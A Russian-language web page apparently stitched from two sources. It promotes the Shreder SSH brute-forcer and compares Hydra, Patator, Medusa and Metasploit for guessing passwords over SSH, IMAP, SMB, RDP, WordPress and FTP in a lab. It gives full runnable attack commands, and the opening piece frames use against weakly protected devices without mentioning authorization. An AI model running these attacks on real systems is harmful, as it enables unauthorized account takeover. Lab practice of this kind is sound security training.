Подбор пароля ssh linux

Заметка Быстрый брутфорс протокола SSH или как использовать устаревшую атаку сейчас

Привет друг, сегодня я бы хотел затронуть достаточно популярную тему, связанную с брутфорсом различных протоколов защиты, шифрования или просто паролей. SSH как таковой является удобным способом работать с серверами или другими сетевыми устройствами, от твоего домашнего компьютера, и до маршрутизатора. Перейдем непосредственно к теме статьи.

Брутфорс SSH пароля имея на руках имя пользователя и список возможных паролей, как такое можно провернуть в 2021 году, когда есть куча инструментов защиты, такие как fail2ban. У меня есть ответ. Да, конечно же сервера крупных компаний имеют огромную защиту от брутфорса aka подбора пароля, но нас интересует больше применение тактик подбора на устройствах с пониженной защитой. Итак, компания EntySec разработала быстрый брутфорсер для таких целей.

Вот этот инструмент с открытым кодом — EntySec Shreder

Скажу немного о преимуществах данного инстпумента:

1. Очень быстрый подбор пароля, один пароль всего за 0,1 секунды.
2. Оптимизирован для больших списков паролей, Shreder пробует 1000 паролей за 1 минуту 40 секунд.
3. Простое использование интерфейса командной строки и API.

Перейдем непосредственно к установке данного инструмента.

pip3 install git+https://github.com/EntySec/Shreder

После завершения процесса установки пакета, стоит проверить что все корректно установилось.

Отлично, теперь возьмем, адрес нашего устройства, имя пользователя SSH и список паролей (более популярный — rockyou.txt).

shreder -u pi -l rockyou.txt

В заключение могу сказать, что не смотря на то, как много средств защиты от брутфорса существует, не все их используют. Правильно кто-то сказал — «Человек и есть уязвимость».

Источник

Генерация словаря

Словарь с пользователями мы взяли небольшой и записали в него 4 пользователя.

Для составления словаря используется Crunch, как встроенное средство. Инструмент гибкий и может составить словарь по определенной маске. Если есть вероятность того, что пользователь может использовать словарный пароль, то лучше воспользоваться уже готовыми решениями, тем более, что, как показывает практика, самый популярный пароль – 123456.

Генерировать словарь будем на 5 символов по маске. Данный метод подходит для случаев, когда мы имеем представление о структуре пароля пользователя.

crunch 5 5 qwe ASD 1234567890 -t @@,%@ -o /root/wordlist.txt

5 – минимальное и максимальное количество символов;
qwe, ASD, 1234567890 – используемые символы;
-t – ключ, после которого указывается маска для составления пароля;
@ – нижний регистр;
, – верхний регистр;
% – цифры.

Сразу отметим, что на первых этапах мы будем для каждого инструмента описывать используемые ключи, но далее те же самые ключи уже не будут рассматриваться подробно, поскольку они крайне похожи друг на друга, а значит, имеют аналогичный синтаксис.

Patator

patator ssh_login host=192.168.60.50 user=FILE0 password=FILE1 0=/root/username 1=/root/wordlist.txt -x ignore:mesg=’Authentication failed’

ssh_login – модуль;
host – наша цель;
user – логин пользователя, к которому подбирается пароль или файл с логинами для множественного подбора;
password – словарь с паролями;
-x ignore:mesg=’Authentication failed’ – не выводить на экран строку, имеющую данное сообщение. Параметр фильтрации подбирается индивидуально.

Все инструменты мы тестируем с количеством потоков по умолчанию, никаким образом их количество не изменяем.
Patator справился ровно за 7 минут 37 секунд, перебрав 2235 вариантов.

Hydra

hydra -f -L /root/username -P /root/wordlist.txt ssh://192.168.60.50

-f – остановка перебора после успешного подбора пары логин/пароль;
-L/-P – путь до словаря с пользователями/паролями;
ssh://IP-адрес – указание сервиса и IP-адреса жертвы.

Hydra затратила на перебор 9 минут 11 секунд.

Medusa

medusa -h 192.168.60.50 -U /root/username -P /root/wordlist.txt -M ssh

-h – IP-адрес целевой машины;
-U/-P – путь к словарям логинов/паролей;
-М – выбор нужного модуля.

Medusa за 25 минут обработала только 715 комбинаций логин/пароль, поэтому данный инструмент не лучший выбор в случае с брутфорсом SSH.

Metasploit

Произведем поиск инструмента для проведения brute-force атаки по SSH:
search ssh_login

Задействуем модуль:
use auxiliary/scanner/ssh/ssh_login

Для просмотра необходимых параметров воспользуемся командой «show options». Для нас это:
rhosts – IP-адрес жертвы;
rport – порт;
user_file – путь до словаря с логинами;
pass_file – путь до словаря c паролями;
stop_on_success – остановка, как только найдется пара логин/пароль.

По умолчанию Metasploit использует 1 поток, поэтому и скорость перебора с использованием этого модуля очень низкая. За 25 минут так и не удалось подобрать пароль.

IMAP

Patator

patator imap_login host=192.168.100.109 user=FILE0 password=FILE1 0=/root/username 1=/root/wordlist.txt -x ignore:code=1

imap_login – используемый модуль;
-x – параметр, который помогает фильтровать ответы от Patator. В данном случае игнорируем ответы с кодом 1.

Параметр х является уникальным для каждого конкретного случая, поэтому рекомендуется сначала запустить инструмент без него и посмотреть какие ответы в основном приходят, чтобы затем их игнорировать.

В итоге Patator смог подобрать пароль за 9 минут 28 секунд, что является практически тем же самым показателем, что и в случае с SSH.

Hydra

hydra -f imap://192.168.60.50 -L /root/username -P /root/wordlist.txt

Hydra справилась за 10 минут 47 секунд, что довольно неплохо.

Medusa

В связи с тем, что на сервере использовался самоподписанный сертификат, Medusa выдавала ошибку, исправить которую настройками инструмента не удалось.

Metasploit

В Metasploit не удалось подобрать подходящий модуль для брутфорса IMAP.

SMB

Patator

При использовании Patator появилось большое количество ложных срабатываний.

Hydra

hydra -L /root/username -P /root/wordlist.txt 192.168.60.50 smb

Благодаря своим алгоритмам Hydra справилась с задачей всего за 5 секунд.

Medusa

medusa -h 192.168.60.50 -U /root/username -P /root/wordlist.txt -M smbnt

Запуская перебор, я ожидал результатов, схожих с предыдущими, но на этот раз Medusa меня приятно удивила, отработав за считанные секунды.

Metasploit

С помощью поиска search smb_login находим нужный модуль scanner/smb/smb_login и применяем его.

Необходимо указать параметры:
RHOSTS – IP-адрес жертвы;
USER_FILE – словарь с пользователями;
PASS_FILE – словарь с паролями;
STOP_ON_SUCCESS – остановка после подобранной пары логин/пароль.

Metasploit справился с задачей за 1 минуту.

RDP

Patator

patator rdp_login host=192.168.60.50 user=FILE0 password=FILE1 0=/root/username 1=/root/wordlist.txt -x ignore:code=132

К сожалению, на данный момент из тестируемых инструментов только Patator может подбирать логин/пароль для RDP-протокола. При этом, даже если Patator и справился с поставленной задачей, в выводе дополнительно появилось ложное срабатывание.

WEB

Для начала нам необходимо понять, как происходит процесс аутентификации.
Для этого нужно отправить тестовые запросы аутентификации и уже из поведения веб-приложения можно будет увидеть, что неверный пароль возвращает код ответа 200, а успешная аутентификация — 302. На эту информацию и будем опираться.

Patator

Учитывая ответы веб-приложения на тестовые запросы, составим команду для запуска Patator:

patator http_fuzz url=http://site.test.lan/wp-login.php method=POST body=’log=FILE0&pwd=FILE1&wp-submit=Log+In&redirect_to=http%3A%2F%2Fsite.test.lan%2Fwp-admin%2F&testcookie=1′ 0=/root/username 1=/root/wordlist.txt before_urls=http://site.test.lan/wp-login.php -x ignore:code=200 accept_cookie=1

http_fuzz – модуль для brute-force атаки HTTP;
url – адрес страницы с аутентификацией;
FILE0 – путь до словаря с паролями;
body – информация, которая передается в POST запросе при аутентификацией;
-x – в данном случае мы указали команду не выводить на экран сообщения, содержащие параметр с кодом 200;
accept_cookie – сохранение параметра cookie и передачи его в следующий запрос;
Итог — нам удалось подобрать пароль чуть менее, чем за 30 секунд, что очень быстро.

Hydra

Как мы уже знаем, при неверной аутентификации возвращается код 200, а при успешной — 302. Воспользуемся этой информацией и выполним команду:

hydra -f -L /root/username -P /root/wordlist.txt http-post-form://site.test.lan -m «/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fsite.test.lan%2Fwp-admin%2F&testcookie=1:S=302»

Здесь мы указываем обязательные параметры:
-f – завершить перебор после получения валидной пары логин/пароль;
-L – словарь с пользователями;
-P – словарь с паролями;
http-post-form – тип формы (в нашем случае POST);
/wp-login.php – URL страницы с аутентификацией;
^USER^ – показывает куда подставлять имя пользователя;
^PASS^ – показывает куда подставлять пароль из словаря;
S=302 – указание на какой ответ опираться Hydra (в нашем случае — ответ 302 при успешной аутентификации).

Успех ожидал нас уже через 3 минуты 15 секунд.

Medusa

medusa -h site.test.lan -U /root/username -P /root/wordlist.txt -M web-form -m FORM:»/wp-login.php» -m FORM-DATA:»post?log=&pwd=&wp-submit=Log+In&redirect_to=http%3A%2F%2Fsite.test.lan%2Fwp-admin%2F&testcookie=1″

К сожалению, при попытках перебора пароля Medusa выдает ошибку «Segmentation fault».

Metasploit

С помощью поиска search wordpress_login находим нужный модуль auxiliary/scanner/http/wordpress_login_enum и применяем его. Необходимо указать параметры:
PASS_FILE – словарь с паролями;
RHOSTS – адрес жертвы;
STOP_ON_SUCCESS – остановка после подобранной пары логин/пароль;
USER_FILE – словарь с пользователями;
VALIDATE_USERS – отключить проверку существования учетной записи пользователя;
VERBOSE – отключить лишний вывод;
VHOST – доменное имя атакуемого сайта.
Затраченное время — 32 секунды.

FTP

Patator

patator ftp_login host=192.168.60.50 user=FILE0 password=FILE1 0=/root/username 1=/root/wordlist.txt -x ignore:code=530

В данном модуле Patator работает уже медленнее, чем с Web-формами, а пароль был подобран за 11 минут 20 секунд.

Hydra

hydra -f -L /root/username -P /root/wordlist.txt ftp://192.168.60.50

Работая по умолчанию в 16 потоков, Hydra смогла перебрать пароли за 7 минут 55 секунд.

Metasploit, Medusa

В Metasploit используем модуль auxiliary/scanner/ftp/ftp_login

В случае с Medusa запрос выглядит следующим образом:
medusa -f -M ftp -U /root/username -P /root/wordlist.txt -h 192.168.60.50

Все параметры стандартные, указываем путь до словарей и обязательно ставим завершение перебора после найденной пары логин/пароль.
С этим протоколом, как и c SSH, Metasploit и Medusa плохо справляются при стандартном количестве потоков. Поэтому если есть желание использовать именно эти инструменты, то необходимо вручную увеличивать количество потоков. Но и тут не все так просто. В однопоточном режиме FTP-сервер при использовании этих инструментов, сбросил соединение, чего не наблюдалось при использовании Patator или Hydra. Поэтому есть вероятность, что увеличение количества потоков не изменит ситуацию.

Протестировав разные, но в то же время похожие инструменты на различных сервисах, можно сказать, что у каждого из них есть как достоинства, так и недостатки, а с каким инструментом работать — решать только вам.

Ниже представлена сводная таблица с полученными результатами:

P.S. Потренироваться можно в наших лабораториях lab.pentestit.ru.

Оставить комментарий Отменить ответ

Для отправки комментария вам необходимо авторизоваться.

Источник